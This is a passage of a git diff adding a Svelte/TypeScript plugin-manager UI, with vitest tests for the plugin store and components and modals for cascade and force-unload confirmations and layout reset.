+ setWorkspaceState: vi.fn(
+ async (): Promise<WorkspaceStateResult> => ({
+ ok: true,
+ response: { workspaceId: "ws", pluginId: "mcp", state: "enabled" },
+ }),
+ ),
+ providersStatus: vi.fn(async () => ({ workspaceId: "ws", enabledProviderCount: 1 })),
+ } satisfies PluginsHttp;
+}
+
+describe("createPluginsStore — manager list", () => {
+ it("fetches + normalizes the list into nodes", async () => {
+ const store = createPluginsStore(fakeHttp({}));
+ expect(store.list).toBeNull();
+ expect(store.nodes).toEqual([]);
+ await store.refresh();
+ expect(store.list).toEqual(listResponse);
+ expect(store.nodes.map((n) => n.id)).toEqual(["kernel", "fresh"]);
+ });
+
+ it("mutation results are surfaced and the list is refetched", async () => {
+ const http = fakeHttp({});
+ const store = createPluginsStore(http);
+ await store.refresh();
+ const result = await store.unload("kernel", false);
+ expect(result.ok).toBe(true);
+ expect(http.unload).toHaveBeenCalledWith("kernel", false);
+ expect(http.list).toHaveBeenCalledTimes(2);
+ });
+
+ it("scan records the result + refreshes", async () => {
+ const http = fakeHttp({});
+ const store = createPluginsStore(http);
+ await store.scan();
+ expect(store.lastScan?.ok).toBe(true);
+ expect(http.scan).toHaveBeenCalledOnce();
+ expect(http.list).toHaveBeenCalledTimes(1); // refresh after scan (initial list fetch absent)
+ });
+
+ it("a mutation error lands in store.error", async () => {
+ const http = fakeHttp({});
+ http.unload = vi.fn(async (): Promise<PluginOpResult> => ({ ok: false, error: "blocked" }));
+ const store = createPluginsStore(http);
+ await store.unload("kernel", false);
+ expect(store.error).toBe("blocked");
+ });
+});
+
+describe("createPluginsStore — workspace view", () => {
+ it("openWorkspace loads the rows + enabled provider count", async () => {
+ const store = createPluginsStore(fakeHttp({}));
+ await store.openWorkspace("ws");
+ expect(store.workspaceView).toEqual({
+ workspaceId: "ws",
+ rows: wsResponse.plugins,
+ enabledProviderCount: 1,
+ });
+ });
+
+ it("setWorkspaceState updates the row in place from the response", async () => {
+ const store = createPluginsStore(fakeHttp({}));
+ await store.openWorkspace("ws");
+ await store.setWorkspaceState("ws", "mcp", "enabled");
+ const row = store.workspaceView?.rows.find((r) => r.pluginId === "mcp");
+ expect(row?.state).toBe("enabled");
+ });
+
+ it("a refused setWorkspaceState refetches (server-authoritative reconcile)", async () => {
+ const http = fakeHttp({});
+ http.setWorkspaceState = vi.fn(
+ async (): Promise<WorkspaceStateResult> => ({
+ ok: false,
+ error: "core is locked",
+ reason: "core-locked",
+ }),
+ );
+ const store = createPluginsStore(http);
+ await store.openWorkspace("ws");
+ await store.setWorkspaceState("ws", "kernel", "disabled");
+ expect(store.error).toBe("core is locked");
+ expect(http.workspacePlugins).toHaveBeenCalledTimes(2);
+ });
+
+ it("a failed openWorkspace clears the view (no stale rows from another workspace)", async () => {
+ const http = fakeHttp({ workspacePlugins: null });
+ const store = createPluginsStore(http);
+ await store.openWorkspace("other");
+ expect(store.workspaceView).toBeNull();
+ expect(store.error).toContain("other");
+ });
+});
+
+describe("createPluginsStore — multi-client coherence (§11)", () => {
+ it("onExtensionsChanged refetches the list + the open workspace view", async () => {
+ const http = fakeHttp({});
+ const store = createPluginsStore(http);
+ await store.openWorkspace("ws");
+ expect(http.list).toHaveBeenCalledTimes(0);
+ expect(http.workspacePlugins).toHaveBeenCalledTimes(1);
+
+ store.onExtensionsChanged();
+ await vi.waitFor(() => {
+ expect(http.list).toHaveBeenCalledTimes(1);
+ expect(http.workspacePlugins).toHaveBeenCalledTimes(2);
+ });
+ });
+
+ it("onExtensionsChanged does not refetch a workspace view when none is open", async () => {
+ const http = fakeHttp({});
+ const store = createPluginsStore(http);
+ store.onExtensionsChanged();
+ await vi.waitFor(() => {
+ expect(http.list).toHaveBeenCalledTimes(1);
+ expect(http.workspacePlugins).toHaveBeenCalledTimes(0);
+ });
+ });
+});
diff --git a/src/features/plugins/ui/PluginManager.svelte b/src/features/plugins/ui/PluginManager.svelte
new file mode 100644
index 0000000..fd2a8a7
--- /dev/null
+++ b/src/features/plugins/ui/PluginManager.svelte
@@ -0,0 +1,221 @@
+<script lang="ts">
+ import { onMount } from "svelte";
+ import type { PluginsStore } from "../store.svelte";
+ import type { PluginNode } from "../logic/types";
+ import { computeCascade } from "../logic/cascade";
+ import { autoCheckBackendPrereqs } from "../logic/prereqs";
+ import { dependencyHighlightSets } from "../logic/highlight";
+ import { unloadBlockReason } from "../logic/last-provider";
+ import { splitSections, withFrontendStates } from "../logic/view-model";
+ import PluginTable from "./PluginTable.svelte";
+ import UnloadConfirmModal from "./UnloadConfirmModal.svelte";
+
+ let { plugins, onClose }: { plugins: PluginsStore; onClose: () => void } = $props();
+
+ onMount(() => {
+ void plugins.refresh();
+ });
+
+ // ── Derived sections + hover highlighting (§8) ────────────────────────────
+ // The FE-half states (plan 03) merge into the nodes here — one reactive
+ // derivation over both inputs (the normalized nodes + the plugin host's
+ // post-sync state map).
+ const nodes = $derived(withFrontendStates(plugins.nodes, plugins.frontendStates));
+ const sections = $derived(splitSections(nodes));
+ let hoveredId = $state<string | null>(null);
+ const highlight = $derived(dependencyHighlightSets(hoveredId, nodes));
+
+ function highlightFor(id: string): "dep" | "dependent" | null {
+ if (highlight.deps.has(id)) return "dep";
+ if (highlight.dependents.has(id)) return "dependent";
+ return null;
+ }
+
+ // ── Mutations ─────────────────────────────────────────────────────────────
+ let busyIds = $state<ReadonlySet<string>>(new Set());
+ let scanning = $state(false);
+
+ async function withBusy(id: string, op: () => Promise<unknown>): Promise<void> {
+ busyIds = new Set(busyIds).add(id);
+ try {
+ await op();
+ } finally {
+ const next = new Set(busyIds);
+ next.delete(id);
+ busyIds = next;
+ }
+ }
+
+ // ── Unload confirm state (cascade warn §8 + in-use force §8) ─────────────
+ // The pending unload the confirm modal describes. `cascade` lists the loaded
+ // dependents that will also be unchecked; `notice` carries a refused-attempt
+ // error (in-use / engine refusal) that motivated the force offer.
+ let pendingUnload = $state<{
+ node: PluginNode;
+ cascade: readonly string[];
+ notice: string | null;
+ } | null>(null);
+
+ async function toggle(node: PluginNode, checked: boolean): Promise<void> {
+ if (busyIds.has(node.id)) return;
+ if (checked) {
+ // §8: checking auto-checks the required backend plugins (transitive,
+ // one-directional). Load the missing prereqs first, then the target.
+ const prereqs = autoCheckBackendPrereqs(node.id, plugins.nodes);
+ for (const id of prereqs) {
+ await withBusy(id, () => plugins.load(id));
+ }
+ await withBusy(node.id, () => plugins.load(node.id));
+ return;
+ }
+ // Unchecking: warn when loaded dependents would cascade-uncheck (§8).
+ const cascade = computeCascade(node.id, plugins.nodes);
+ if (cascade.length > 0) {
+ pendingUnload = { node, cascade, notice: null };
+ return;
+ }
+ // No local cascade — attempt the unload; a server refusal (in-use /
+ // engine) offers force with the global-stop warning (§8).
+ const result = await withBusyRes(node.id, () => plugins.unload(node.id, false));
+ if (result !== null && !result.ok) {
+ pendingUnload = { node, cascade: result.dependents ?? [], notice: result.error };
+ }
+ }
+
+ /** Like `withBusy` but returns the op's result (for the unload flow). */
+ async function withBusyRes<T>(id: string, op: () => Promise<T>): Promise<T | null> {
+ busyIds = new Set(busyIds).add(id);
+ try {
+ return await op();
+ } finally {
+ const next = new Set(busyIds);
+ next.delete(id);
+ busyIds = next;
+ }
+ }
+
+ async function confirmUnload(): Promise<void> {
+ const pending = pendingUnload;
+ pendingUnload = null;
+ if (pending === null) return;
+ // Force cascades the dependents server-side (plan 05: reverse-topological
+ // unload) and stops ALL agents globally first — the modal's copy says so.
+ await withBusy(pending.node.id, () => plugins.unload(pending.node.id, true));
+ }
+
+ function cancelUnload(): void {
+ pendingUnload = null;
+ }
+
+ async function reload(node: PluginNode): Promise<void> {
+ await withBusy(node.id, () => plugins.reload(node.id));
+ }
+
+ async function scan(): Promise<void> {
+ scanning = true;
+ await plugins.scan();
+ scanning = false;
+ }
+
+ const scanSummary = $derived.by(() => {
+ const last = plugins.lastScan;
+ if (last === null || !last.ok) return null;
+ const r = last.response;
+ const parts: string[] = [`${r.newPlugins.length} new`];
+ if (r.invalid.length > 0) parts.push(`${r.invalid.length} invalid`);
+ if (r.incompatible.length > 0) parts.push(`${r.incompatible.length} incompatible`);
+ return `Scan of ${r.root}: ${parts.join(", ")}`;
+ });
+</script>
+
+<div class="modal modal-open" role="dialog" aria-label="Plugin manager">
+ <div class="modal-box max-w-3xl">
+ <div class="flex items-center justify-between">
+ <h3 class="text-lg font-bold">Plugin manager</h3>
+ <button
+ type="button"
+ class="btn btn-sm"
+ disabled={scanning}
+ onclick={scan}
+ title="Rescan the plugin directory (new plugins stay unloaded — the consent gate)"
+ >
+ {#if scanning}
+ <span class="loading loading-spinner loading-xs"></span>
+ {:else}
+ Scan
+ {/if}
+ </button>
+ </div>
+
+ {#if plugins.error}
+ <p class="mt-2 text-xs text-error" role="alert">{plugins.error}</p>
+ {/if}
+ {#if scanSummary}
+ <p class="mt-2 text-xs opacity-70" role="status">{scanSummary}</p>
+ {/if}
+
+ <div class="mt-3 flex flex-col gap-4">
+ <PluginTable
+ title="Loaded"
+ rows={sections.loaded}
+ blockReasonFor={(id) => unloadBlockReason(id, plugins.nodes)}
+ {highlightFor}
+ {busyIds}
+ onToggle={toggle}
+ onReload={reload}
+ onHover={(id) => (hoveredId = id)}
+ onUnhover={(id) => (hoveredId = hoveredId === id ? null : hoveredId)}
+ />
+
+ <PluginTable
+ title="Discovered (not loaded)"
+ rows={sections.discovered}
+ blockReasonFor={() => null}
+ {highlightFor}
+ {busyIds}
+ onToggle={toggle}
+ onHover={(id) => (hoveredId = id)}
+ onUnhover={(id) => (hoveredId = hoveredId === id ? null : hoveredId)}
+ />
+
+ {#if sections.missing.length > 0}
+ <section class="flex flex-col gap-1">
+ <h4 class="text-xs font-semibold uppercase opacity-60">Missing (directory gone)</h4>
+ <ul class="flex flex-col gap-1">
+ {#each sections.missing as node (node.id)}
+ <li class="rounded bg-base-200/40 px-2 py-1 text-xs opacity-60">
+ <span class="font-mono">{node.id}</span> — {node.reason}
+ </li>
+ {/each}
+ </ul>
+ </section>
+ {/if}
+ </div>
+
+ <div class="modal-action">
+ <p class="mr-auto self-center text-xs opacity-50">
+ Hover a row to highlight its dependencies and dependents.
+ </p>
+ <button type="button" class="btn btn-sm" onclick={onClose}>Close</button>
+ </div>
+ </div>
+ <!-- svelte-ignore a11y_click_events_have_key_events, a11y_no_static_element_interactions -->
+ <div class="modal-backdrop" onclick={onClose}></div>
+</div>
+
+{#if pendingUnload !== null}
+ <UnloadConfirmModal
+ headline={pendingUnload.node.loaded ? `Unload ${pendingUnload.node.id}?` : `Force-unload ${pendingUnload.node.id}?`}
+ lines={[
+ ...(pendingUnload.cascade.length > 0
+ ? [
+ `Unloading ${pendingUnload.node.id} also unchecks: ${pendingUnload.cascade.join(", ")}.`,
+ ]
+ : []),
+ ...(pendingUnload.notice !== null ? [pendingUnload.notice] : []),
+ ]}
+ confirmLabel={pendingUnload.cascade.length > 0 ? "Unload with force" : "Force unload"}
+ onCancel={cancelUnload}
+ onConfirm={confirmUnload}
+ />
+{/if}
diff --git a/src/features/plugins/ui/PluginManager.test.ts b/src/features/plugins/ui/PluginManager.test.ts
new file mode 100644
index 0000000..c81938c
--- /dev/null
+++ b/src/features/plugins/ui/PluginManager.test.ts
@@ -0,0 +1,284 @@
+import type { PluginListResponse } from "@dispatch/transport-contract";
+import { render, screen } from "@testing-library/svelte";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import type { PluginOpResult, PluginsHttp } from "../adapter/http";
+import { createPluginsStore } from "../store.svelte";
+import PluginManager from "./PluginManager.svelte";
+
+const listResponse: PluginListResponse = {
+ loaded: [
+ {
+ id: "kernel",
+ name: "Kernel",
+ version: "1.0.0",
+ tier: "core",
+ trust: "bundled",
+ locked: true,
+ dependsOn: [],
+ },
+ {
+ id: "opencode",
+ name: "OpenCode",
+ version: "2.0.0",
+ tier: "providers",
+ trust: "bundled",
+ locked: false,
+ dependsOn: [],
+ },
+ {
+ id: "transport-http",
+ name: "Transport HTTP",
+ version: "1.1.0",
+ tier: "standard",
+ trust: "bundled",
+ locked: false,
+ dependsOn: ["heartbeat"],
+ },
+ {
+ id: "heartbeat",
+ name: "Heartbeat",
+ version: "1.1.0",
+ tier: "standard",
+ trust: "bundled",
+ locked: false,
+ dependsOn: [],
+ },
+ ],
+ disabledWithReason: [
+ {
+ id: "broken",
+ name: "Broken",
+ version: "0.1.0",
+ tier: "standard",
+ trust: "local",
+ reason: "activation threw",
+ },
+ ],
+ discovered: [
+ {
+ id: "fresh",
+ name: "Fresh",
+ version: "3.0.0",
+ tier: "standard",
+ trust: "external",
+ dir: "/plugins/fresh",
+ },
+ ],
+ missing: [{ id: "gone", reason: "directory is gone" }],
+};
+
+/** A fake PluginsHttp (the OUTERMOST edge — the store itself is real). */
+function fakeHttp(overrides: Partial<PluginsHttp> = {}): PluginsHttp {
+ return {
+ list: vi.fn(async () => listResponse),
+ scan: vi.fn(async () => ({
+ ok: true,
+ response: { root: "/plugins", newPlugins: [], invalid: [], incompatible: [] },
+ })),
+ load: vi.fn(async () => ({ ok: true, response: { ok: true, action: "load", id: "x" } })),
+ unload: vi.fn(async () => ({ ok: true, response: { ok: true, action: "unload", id: "x" } })),
+ reload: vi.fn(async () => ({ ok: true, response: { ok: true, action: "reload", id: "x" } })),
+ workspacePlugins: vi.fn(async () => null),
+ setWorkspaceState: vi.fn(async () => ({
+ ok: true,
+ response: { workspaceId: "ws", pluginId: "x", state: "enabled" },
+ })),
+ providersStatus: vi.fn(async () => ({ workspaceId: "ws", enabledProviderCount: 1 })),
+ ...overrides,
+ } as unknown as PluginsHttp;
+}
+
+async function renderManager(http: PluginsHttp = fakeHttp()) {
+ const store = createPluginsStore(http);
+ await store.refresh();
+ render(PluginManager, { props: { plugins: store, onClose: vi.fn() } });
+ return { store, http };
+}
+
+describe("PluginManager — tables + locked core", () => {
+ it("renders the loaded table with tier groups and the discovered table", async () => {
+ await renderManager();
+ expect(screen.getByText("Loaded")).toBeInTheDocument();
+ expect(screen.getByText("Discovered (not loaded)")).toBeInTheDocument();
+ // Tier subheadings (Core / Provider / Standard) — each also appears as a
+ // row badge, so assert at least one occurrence of each.
+ expect(screen.getAllByText("Core").length).toBeGreaterThanOrEqual(1);
+ expect(screen.getAllByText("Provider").length).toBeGreaterThanOrEqual(1);
+ expect(screen.getAllByText("Standard").length).toBeGreaterThanOrEqual(1);
+ expect(screen.getByText("Missing (directory gone)")).toBeInTheDocument();
+ expect(screen.getByText("gone")).toBeInTheDocument();
+ });
+
+ it("core rows show a lock instead of a checkbox", async () => {
+ await renderManager();
+ // The kernel row has no checkbox (the lock glyph instead).
+ expect(screen.queryByRole("checkbox", { name: /Unload kernel/i })).not.toBeInTheDocument();
+ // Provider + standard rows have checkboxes.
+ expect(screen.getByRole("checkbox", { name: /Unload opencode/i })).toBeChecked();
+ expect(screen.getByRole("checkbox", { name: /Unload heartbeat/i })).toBeChecked();
+ });
+
+ it("disabled-with-reason rows show their reason", async () => {
+ await renderManager();
+ expect(screen.getByText("activation threw")).toBeInTheDocument();
+ });
+});
+
+describe("PluginManager — cascade-uncheck warning (§8)", () => {
+ it("unchecking a plugin with loaded dependents warns first (no request yet)", async () => {
+ const user = userEvent.setup();
+ const { http } = await renderManager();
+ // transport-http depends on heartbeat → unchecking heartbeat cascades.
+ await user.click(screen.getByRole("checkbox", { name: /Unload heartbeat/i }));
+ expect(http.unload).not.toHaveBeenCalled();
+ expect(screen.getByRole("dialog", { name: /Unload heartbeat/i })).toBeInTheDocument();
+ expect(screen.getByText(/also unchecks: transport-http/)).toBeInTheDocument();
+ });
+
+ it("accepting the warning issues the forced unload (the cascade is server-side)", async () => {
+ const user = userEvent.setup();
+ const { http } = await renderManager();
+ await user.click(screen.getByRole("checkbox", { name: /Unload heartbeat/i }));
+ await user.click(screen.getByRole("button", { name: "Unload with force" }));
+ expect(http.unload).toHaveBeenCalledWith("heartbeat", true);
+ expect(screen.queryByRole("dialog", { name: /Unload heartbeat/i })).not.toBeInTheDocument();
+ });
+
+ it("cancelling the warning issues nothing", async () => {
+ const user = userEvent.setup();
+ const { http } = await renderManager();
+ await user.click(screen.getByRole("checkbox", { name: /Unload heartbeat/i }));
+ await user.click(screen.getByRole("button", { name: "Cancel" }));
+ expect(http.unload).not.toHaveBeenCalled();
+ });
+
+ it("unchecking WITHOUT dependents unloads directly (no warning)", async () => {
+ const user = userEvent.setup();
+ const { http } = await renderManager();
+ // transport-http has no loaded dependents (it DEPENDS on heartbeat, not
+ // the reverse) — and it is not a provider, so the last-provider lock
+ // (which correctly disables `opencode`, the fixture's only provider)
+ // does not apply.
+ await user.click(screen.getByRole("checkbox", { name: /Unload transport-http/i }));
+ expect(http.unload).toHaveBeenCalledWith("transport-http", false);
+ expect(screen.queryByRole("dialog", { name: /Unload/i })).not.toBeInTheDocument();
+ });
+
+ it("a refused unload offers force with the global-stop copy (§8 in-use force)", async () => {
+ const user = userEvent.setup();
+ const http = fakeHttp({
+ unload: vi.fn(
+ async (): Promise<PluginOpResult> => ({
+ ok: false,
+ error: "the engine refused — the plugin is in use",
+ reason: "engine-refused",
+ }),
+ ),
+ });
+ await renderManager(http);
+ await user.click(screen.getByRole("checkbox", { name: /Unload transport-http/i }));
+ // The refusal is surfaced both in the manager's error line and the
+ // confirm dialog's notice (the dialog appears after the async refusal).
+ expect(
+ await screen.findAllByText(/the engine refused/).then((els) => els.length),
+ ).toBeGreaterThanOrEqual(1);
+ expect(await screen.findByText(/stops ALL agents globally/i)).toBeInTheDocument();
+ await user.click(screen.getByRole("button", { name: "Force unload" }));
+ expect(http.unload).toHaveBeenLastCalledWith("transport-http", true);
+ });
+});
+
+describe("PluginManager — last-provider lock (§8)", () => {
+ it("the last loaded provider's checkbox is disabled with a tooltip", async () => {
+ const single: PluginListResponse = {
+ loaded: [
+ {
+ id: "opencode",
+ name: "OpenCode",
+ version: "2.0.0",
+ tier: "providers",
+ trust: "bundled",
+ locked: false,
+ dependsOn: [],
+ },
+ {
+ id: "kernel",
+ name: "Kernel",
+ version: "1.0.0",
+ tier: "core",
+ trust: "bundled",
+ locked: true,
+ dependsOn: [],
+ },
+ ],
+ disabledWithReason: [],
+ discovered: [],
+ missing: [],
+ };
+ const store = createPluginsStore(fakeHttp({ list: async () => single }));
+ await store.refresh();
+ render(PluginManager, { props: { plugins: store, onClose: vi.fn() } });
+ const checkbox = screen.getByRole("checkbox", { name: /Unload opencode/i });
+ expect(checkbox).toBeDisabled();
+ // The explanatory copy is wired via the title attribute (the tooltip).
+ expect(checkbox.getAttribute("title")).toMatch(/last provider/i);
+ });
+});
+
+describe("PluginManager — load with auto-checked prereqs (§8)", () => {
+ it("checking a discovered plugin loads it and reflects the stateful refetch", async () => {
+ const user = userEvent.setup();
+ // Stateful fake: after `load("fresh")`, the list reports fresh as loaded
+ // (the store refetches from the server after the op — the checkbox must
+ // reflect the NEW list, not a local guess).
+ let freshLoaded = false;
+ const stateful: PluginsHttp = {
+ ...fakeHttp(),
+ list: vi.fn(async () =>
+ freshLoaded
+ ? {
+ ...listResponse,
+ discovered: [],
+ loaded: [
+ ...listResponse.loaded,
+ {
+ id: "fresh",
+ name: "Fresh",
+ version: "3.0.0",
+ tier: "standard",
+ trust: "external",
+ locked: false,
+ dependsOn: [],
+ },
+ ],
+ }
+ : listResponse,
+ ),
+ load: vi.fn(async (id: string) => {
+ if (id === "fresh") freshLoaded = true;
+ return { ok: true, response: { ok: true, action: "load", id } };
+ }),
+ } as unknown as PluginsHttp;
+ const store = createPluginsStore(stateful);
+ await store.refresh();
+ render(PluginManager, { props: { plugins: store, onClose: vi.fn() } });
+ await user.click(screen.getByRole("checkbox", { name: /Load fresh/i }));
+ expect(stateful.load).toHaveBeenCalledWith("fresh");
+ expect(screen.getByRole("checkbox", { name: /Unload fresh/i })).toBeChecked();
+ });
+
+ it("the Scan button triggers a manual scan", async () => {
+ const user = userEvent.setup();
+ const { http } = await renderManager();
+ await user.click(screen.getByRole("button", { name: /Scan/ }));
+ expect(http.scan).toHaveBeenCalledOnce();
+ });
+
+ it("the Reload affordance calls reload for a loaded row", async () => {
+ const user = userEvent.setup();
+ const { http } = await renderManager();
+ await user.click(screen.getByRole("button", { name: /Reload transport-http/i }));
+ expect(http.reload).toHaveBeenCalledWith("transport-http");
+ });
+});
diff --git a/src/features/plugins/ui/PluginRow.svelte b/src/features/plugins/ui/PluginRow.svelte
new file mode 100644
index 0000000..73e0b18
--- /dev/null
+++ b/src/features/plugins/ui/PluginRow.svelte
@@ -0,0 +1,120 @@
+<script lang="ts">
+ import type { PluginNode } from "../logic/types";
+ import { tierLabel } from "../logic/types";
+
+ let {
+ node,
+ highlight,
+ blockReason = null,
+ busy = false,
+ onToggle,
+ onReload,
+ onHover,
+ onUnhover,
+ }: {
+ node: PluginNode;
+ /** Hover-highlight state for this row: a direct dep, a dependent, or none. */
+ highlight: "dep" | "dependent" | null;
+ /**
+ * Why the unload control is disabled (core-locked / last-provider), or
+ * null when interactive. Missing rows are always disabled (no plugin).
+ */
+ blockReason?: string | null;
+ /** Whether a mutation for this row is in flight (spinner in the controls). */
+ busy?: boolean;
+ onToggle: (node: PluginNode, checked: boolean) => void;
+ onReload?: (node: PluginNode) => void;
+ onHover: (id: string) => void;
+ onUnhover: (id: string) => void;
+ } = $props();
+
+ // Missing rows have no checkbox at all — there is no plugin to load.
+ const hasCheckbox = $derived(node.section !== "missing");
+ // Core rows are LOCKED (no load/unload control) per §3/§5.
+ const interactive = $derived(blockReason === null && !busy);
+ const rowClass = $derived(
+ [
+ node.section === "missing" || node.locked || (!node.loaded && node.section === "discovered")
+ ? "opacity-50"
+ : "",
+ highlight === "dep"
+ ? "outline outline-1 outline-info bg-info/10"
+ : highlight === "dependent"
+ ? "outline outline-1 outline-warning bg-warning/10"
+ : "",
+ ]
+ .filter(Boolean)
+ .join(" "),
+ );
+</script>
+
+<!-- svelte-ignore a11y_no_noninteractive_element_interactions -->
+<tr
+ class={rowClass}
+ onmouseover={() => onHover(node.id)}
+ onmouseout={() => onUnhover(node.id)}
+ onfocus={() => onHover(node.id)}
+ onblur={() => onUnhover(node.id)}
+>
+ <td class="w-10">
+ {#if hasCheckbox}
+ {#if node.locked}
+ <span
+ class="inline-block w-4 text-center opacity-40"
+ title={blockReason ?? "Core plugins cannot be unloaded"}
+ aria-label="Locked (core)">🔒</span
+ >
+ {:else}
+ <input
+ type="checkbox"
+ class="checkbox checkbox-sm"
+ checked={node.loaded}
+ disabled={!interactive}
+ title={blockReason ?? undefined}
+ aria-label={`${node.loaded ? "Unload" : "Load"} ${node.id}`}
+ onchange={(e) => onToggle(node, e.currentTarget.checked)}
+ />
+ {/if}
+ {/if}
+ </td>
+ <td>
+ <div class="flex flex-col">
+ <span class="font-medium">{node.name}</span>
+ {#if node.reason !== null}
+ <span class="text-xs text-error">{node.reason}</span>
+ {/if}
+ {#if node.frontendIssue !== undefined}
+ <!-- plan 03: the FE half's state — "incompatible frontend plugin" or the activation error -->
+ <span class="text-xs text-error">{node.frontendIssue}</span>
+ {/if}
+ {#if node.dependsOn.length > 0}
+ <span class="text-xs opacity-60">depends on: {node.dependsOn.join(", ")}</span>
+ {/if}
+ </div>
+ </td>
+ <td class="text-xs">
+ <span class="badge badge-ghost badge-sm">{tierLabel(node.tier)}</span>
+ {#if node.trust !== null}
+ <span class="badge badge-ghost badge-sm">{node.trust}</span>
+ {/if}
+ </td>
+ <td class="text-xs opacity-60">{node.version}</td>
+ <td class="text-right">
+ {#if node.loaded && onReload !== undefined}
+ <button
+ type="button"
+ class="btn btn-ghost btn-xs"
+ disabled={!interactive}
+ title="Reload this plugin's code (picks up updates)"
+ aria-label={`Reload ${node.id}`}
+ onclick={() => onReload?.(node)}
+ >
+ {#if busy}
+ <span class="loading loading-spinner loading-xs"></span>
+ {:else}
+ ↻
+ {/if}
+ </button>
+ {/if}
+ </td>
+</tr>
diff --git a/src/features/plugins/ui/PluginTable.svelte b/src/features/plugins/ui/PluginTable.svelte
new file mode 100644
index 0000000..717f839
--- /dev/null
+++ b/src/features/plugins/ui/PluginTable.svelte
@@ -0,0 +1,85 @@
+<script lang="ts">
+ import type { PluginNode } from "../logic/types";
+ import { tierLabel } from "../logic/types";
+ import { groupByTier } from "../logic/view-model";
+ import PluginRow from "./PluginRow.svelte";
+
+ let {
+ title,
+ rows,
+ blockReasonFor,
+ highlightFor,
+ busyIds,
+ onToggle,
+ onReload,
+ onHover,
+ onUnhover,
+ }: {
+ title: string;
+ rows: readonly PluginNode[];
+ /**
+ * Why a row's control is disabled (core-locked / last-provider), or null
+ * when interactive. Injected by the manager (it owns the graph context).
+ */
+ blockReasonFor: (id: string) => string | null;
+ /**
+ * The §8 hover-highlight state for one row: a highlighted dependency, a
+ * highlighted dependent, or none. Injected by the manager (it owns the
+ * hovered id + the graph).
+ */
+ highlightFor: (id: string) => "dep" | "dependent" | null;
+ /** Ids with an in-flight mutation (spinner in their controls). */
+ busyIds: ReadonlySet<string>;
+ onToggle: (node: PluginNode, checked: boolean) => void;
+ onReload?: (node: PluginNode) => void;
+ onHover: (id: string) => void;
+ onUnhover: (id: string) => void;
+ } = $props();
+
+ // Tier-grouped rows (Core → Providers → Standard) per the plan-07 decision.
+ const groups = $derived(groupByTier(rows));
+</script>
+
+<section class="flex flex-col gap-1">
+ <h4 class="text-xs font-semibold uppercase opacity-60">{title}</h4>
+ {#if rows.length === 0}
+ <p class="text-xs opacity-50">Nothing here.</p>
+ {:else}
+ <table class="table table-sm">
+ <thead>
+ <tr>
+ <th class="w-10">
+ <span class="sr-only">Load/unload</span>
+ </th>
+ <th>Plugin</th>
+ <th>Class</th>
+ <th>Version</th>
+ <th class="text-right">
+ <span class="sr-only">Actions</span>
+ </th>
+ </tr>
+ </thead>
+ {#each groups as group (group.tier)}
+ <tbody>
+ <tr>
+ <td colspan="5" class="bg-base-200/40 text-xs font-semibold uppercase opacity-60">
+ {tierLabel(group.tier)}
+ </td>
+ </tr>
+ {#each group.rows as node (node.id)}
+ <PluginRow
+ {node}
+ highlight={highlightFor(node.id)}
+ blockReason={blockReasonFor(node.id)}
+ busy={busyIds.has(node.id)}
+ {onToggle}
+ {...(onReload ? { onReload } : {})}
+ {onHover}
+ {onUnhover}
+ />
+ {/each}
+ </tbody>
+ {/each}
+ </table>
+ {/if}
+</section>
diff --git a/src/features/plugins/ui/ResetLayoutConfirm.svelte b/src/features/plugins/ui/ResetLayoutConfirm.svelte
new file mode 100644
index 0000000..1f26601
--- /dev/null
+++ b/src/features/plugins/ui/ResetLayoutConfirm.svelte
@@ -0,0 +1,30 @@
+<script lang="ts">
+ /**
+ * The "Reset layout to default?" confirm (plan 04 §4.4) — the dialog copy
+ * names the consequence exactly: this workspace's layout returns to the
+ * default; plugin and dropdown customizations are lost (there is NO
+ * undo — the no-revert semantics make the reset the recovery path).
+ */
+ let {
+ onConfirm,
+ onCancel,
+ }: {
+ onConfirm: () => void;
+ onCancel: () => void;
+ } = $props();
+</script>
+
+<div class="modal modal-open" role="dialog" aria-label="Reset layout to default?">
+ <div class="modal-box max-w-md">
+ <h3 class="text-lg font-bold text-warning">Reset layout to default?</h3>
+ <p class="py-3 text-sm">
+ This workspace's layout returns to the default; plugin and dropdown customizations are lost.
+ </p>
+ <div class="modal-action">
+ <button type="button" class="btn btn-ghost btn-sm" onclick={onCancel}>Cancel</button>
+ <button type="button" class="btn btn-warning btn-sm" onclick={onConfirm}>Reset</button>
+ </div>
+ </div>
+ <!-- svelte-ignore a11y_click_events_have_key_events, a11y_no_static_element_interactions -->
+ <div class="modal-backdrop" onclick={onCancel}></div>
+</div>
diff --git a/src/features/plugins/ui/UnloadConfirmModal.svelte b/src/features/plugins/ui/UnloadConfirmModal.svelte
new file mode 100644
index 0000000..6ae95cc
--- /dev/null
+++ b/src/features/plugins/ui/UnloadConfirmModal.svelte
@@ -0,0 +1,40 @@
+<script lang="ts">
+ let {
+ headline,
+ lines,
+ confirmLabel,
+ onCancel,
+ onConfirm,
+ }: {
+ /** The warning headline (e.g. "Unload heartbeat?"). */
+ headline: string;
+ /** The warning body lines: what else unchecks + the force blast radius. */
+ lines: readonly string[];
+ confirmLabel: string;
+ onCancel: () => void;
+ onConfirm: () => void;
+ } = $props();
+</script>
+
+<div class="modal modal-open" role="dialog" aria-label={headline}>
+ <div class="modal-box max-w-md">
+ <h3 class="text-lg font-bold text-warning">{headline}</h3>
+ <div class="flex flex-col gap-1 py-3">
+ {#each lines as line (line)}
+ <p class="text-sm">{line}</p>
+ {/each}
+ <p class="mt-1 text-xs text-error">
+ Force stops ALL agents globally — every active turn in every workspace — not just agents
+ using this plugin.
+ </p>
+ </div>
+ <div class="modal-action">
+ <button type="button" class="btn btn-ghost btn-sm" onclick={onCancel}>Cancel</button>
+ <button type="button" class="btn btn-warning btn-sm" onclick={onConfirm}>
+ {confirmLabel}
+ </button>
+ </div>
+ </div>
+ <!-- svelte-ignore a11y_click_events_have_key_events, a11y_no_static_element_interactions -->
+ <div class="modal-backdrop" onclick={onCancel}></div>
+</div>
diff --git a/src/features/plugins/ui/WorkspacePluginModal.svelte b/src/features/plugins/ui/WorkspacePluginModal.svelte
new file mode 100644
index 0000000..0ba7cd6
--- /dev/null
+++ b/src/features/plugins/ui/WorkspacePluginModal.svelte
@@ -0,0 +1,171 @@
+<script lang="ts">
+ import { onMount } from "svelte";
+ import type { PluginsStore } from "../store.svelte";
+ import { rowBlockReason, rowChecked, rowSelectable, stateLabel } from "../logic/workspace-row";
+ import type { WorkspaceLayoutPort } from "../logic/types";
+ import ResetLayoutConfirm from "./ResetLayoutConfirm.svelte";
+
+ let {
+ workspaceId,
+ workspaceTitle,
